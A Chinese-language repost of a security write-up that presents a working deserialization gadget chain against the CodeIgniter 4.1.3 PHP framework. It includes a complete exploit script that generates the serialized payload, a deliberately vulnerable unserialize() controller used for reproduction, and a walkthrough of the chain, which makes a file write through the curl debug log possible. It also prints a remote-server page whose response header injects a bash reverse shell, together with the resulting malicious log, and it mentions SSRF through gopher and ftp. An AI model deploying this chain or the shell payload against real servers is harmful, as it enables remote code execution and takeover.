本文主要是介绍codeigniter 4.1.3 gadget chain,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
EXP code
找到一条很有意思的codeigniter框架的链。
<?php
namespace CodeIgniter\HTTP {class CURLRequest {protected $config = ["debug" => "./eee.php"];}
}namespace CodeIgniter\Session\Handlers {class MemcachedHandler{public function __construct($memcached, $url){$this->memcached = $memcached;$this->lockKey = $url;}}
}namespace CodeIgniter\Cache\Handlers {class RedisHandler{public $redis;public function __construct($redis){$this -> redis = $redis;}}
}namespace {$ip = $argv[1];$port = $argv[2];$exp = array(new \CodeIgniter\Cache\Handlers\RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\HTTP\CURLRequest(),"http://$ip:$port/")));echo urlencode(serialize($exp));
}
复现
下载最新的CodeIgniter框架,将以下代码写入app/controller/Home.php
。
<?php
namespace App\Controllers;class Home extends BaseController
{public function index(){$obj = @unserialize($_GET['obj']);var_dump($obj);return view('welcome_message');}
}
准备一个远程服务器,并填入php代码<?php header("X-Powered-By: <?php phpinfo();");
到index.php
。之后在index.php
所在目录启动一个简单的php http服务器。
执行上述exp并复制exp的输出。
php exp.php remote_server_ip remote_server_port
在本地启动CodeIgniter框架,将exp的输出粘贴到obj
参数中。然后,此exp将发送请求到远程服务器,并在本地写入eee.php。访问eee.php将执行phpinfo。
漏洞原理
新gadget的起始向量仍然是CodeIgniter\Cache\Handlers\RedisHandler::__destruct
方法。
public function __destruct()
{if (isset($this->redis)){$this->redis->close();}
}
将redis设置为
CodeIgniter\Session\Handlers\MemcachedHandler'类的对象,然后我们跳到CodeIgniter\Session\Handlers\MemcachedHandler::close
方法。
public function close(): bool
{if (isset($this->memcached)){isset($this->lockKey) && $this->memcached->delete($this->lockKey);...
将lockKey
分配给一个特别准备的远程服务器ip,memcached
分配给一个CodeIgniter\HTTP\CURLRequest
类的对象,这个对象,在config
中设置debug
选项为一个php文件。
之后我们将跳到CodeIgniter\HTTP\CURLRequest::delete
方法。
public function delete(string $url, array $options = []): ResponseInterface
{return $this->request('delete', $url, $options);
}
这个方法将http请求发送到设置的远程服务器。并且后续的调用将设置$curlOptions[CURLOPT_STDERR]
为我们之前指定的php文件。设置$curlOptions
的方法是CodeIgniter\HTTP\CURLRequest::setCURLOptions
。
protected function setCURLOptions(array $curlOptions = [], array $config = [])
{
...if ($config['debug']){$curlOptions[CURLOPT_VERBOSE] = 1;$curlOptions[CURLOPT_STDERR] = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');}
...
}
设置好的远程服务器将对发出的请求作出响应,并在响应头中返回一段php代码。这段php代码会被写入我们指定的curl日志文件中,也就是那个php文件。
远程服务器上的index.php。
<?php
header("X-Powered-By: <?php system('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');?>");
恶意的curl日志文件。
* Expire in 0 ms for 6 (transfer 0x???)
* Trying ???...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x???)
* Connected to ??? (???) port ??? (#0)
> DELETE / HTTP/1.1
Host: ???
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1< HTTP/1.1 200 OK
< Host: ???
< Date: Thu, 26 Aug 2021 06:07:19 GMT
< Connection: close
< X-Powered-By: <?php system('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');?>
< Content-type: text/html; charset=UTF-8
<
* Closing connection 0
影响
- 如上所示,这可能导致恶意的php文件被写入服务器,导致攻击者获取服务器权限。
- 当攻击者无法写入恶意文件时,他可以用gopher或ftp协议代替上述http协议来攻击内网服务。
这篇关于codeigniter 4.1.3 gadget chain的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!